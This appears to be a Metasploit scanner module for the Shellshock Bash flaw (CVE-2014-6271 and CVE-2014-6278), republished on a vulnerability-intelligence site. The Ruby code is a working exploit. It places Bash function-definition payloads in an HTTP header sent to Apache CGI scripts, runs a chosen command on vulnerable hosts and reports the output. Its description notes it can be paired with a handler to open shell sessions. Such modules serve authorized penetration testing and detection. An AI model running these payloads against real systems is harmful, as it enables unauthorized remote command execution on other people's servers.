Scans for Apache mod_cgi Bash Environment Variable Injection vulnerability, setting HTTP_USER_AGENT to a malicious function definition. Requires Metasploit and targets CGI scripts in the Apache web server.
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner',
'Description' => %q{
This module scans for the Shellshock vulnerability, a flaw in how the Bash shell
handles external environment variables. This module targets CGI scripts in the
Apache web server by setting the HTTP_USER_AGENT environment variable to a
malicious function definition.
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
CMD, set ExitOnSession false, run -j, and then run this module to create
sessions on vulnerable hosts.
Note that this is not the recommended method for obtaining shells.
If you require sessions, please use the apache_mod_cgi_bash_env_exec
exploit module instead.
},
'Author' => [
'Stephane Chazelas', # Vulnerability discovery
'wvu', # Metasploit module
'lcamtuf' # CVE-2014-6278
],
'References' => [
[ 'CVE', '2014-6271' ],
[ 'CVE', '2014-6278' ],
[ 'OSVDB', '112004' ],
[ 'EDB', '34765' ],
[ 'URL', 'https://access.redhat.com/articles/1200223' ],
[ 'URL', 'https://seclists.org/oss-sec/2014/q3/649' ]
],
'DisclosureDate' => '2014-09-24',
'License' => MSF_LICENSE,
'Notes' => {'AKA' => ['Shellshock']}
))
register_options([
OptString.new('TARGETURI', [true, 'Path to CGI script']),
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
'/usr/bin/id']),
OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271',
['CVE-2014-6271', 'CVE-2014-6278']])
])
end
def check_host(ip)
res = req("echo #{marker}", datastore['CVE'])
if res && res.body.include?(marker * 3)
report_vuln(
:host => ip,
:port => rport,
:name => self.name,
:refs => self.references
)
return Exploit::CheckCode::Vulnerable
elsif res && res.code == 500
injected_res_code = res.code
else
return Exploit::CheckCode::Safe
end
res = send_request_cgi({
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path.to_s)
})
if res && injected_res_code == res.code
return Exploit::CheckCode::Unknown
elsif res && injected_res_code != res.code
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Unknown
end
def run_host(ip)
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
res = req(datastore['CMD'], datastore['CVE'])
if res && res.body =~ /#{marker}(.+)#{marker}/m
print_good("#{$1}")
report_vuln(
:host => ip,
:port => rport,
:name => self.name,
:refs => self.references
)
end
end
def req(cmd, cve)
case cve
when 'CVE-2014-6271'
sploit = cve_2014_6271(cmd)
when 'CVE-2014-6278'
sploit = cve_2014_6278(cmd)
end
send_request_cgi(
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path),
'headers' => {
datastore['HEADER'] => sploit
}
)
end
def cve_2014_6271(cmd)
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
end
def cve_2014_6278(cmd)
%Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }}
end
def marker
@marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1)
end
end
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo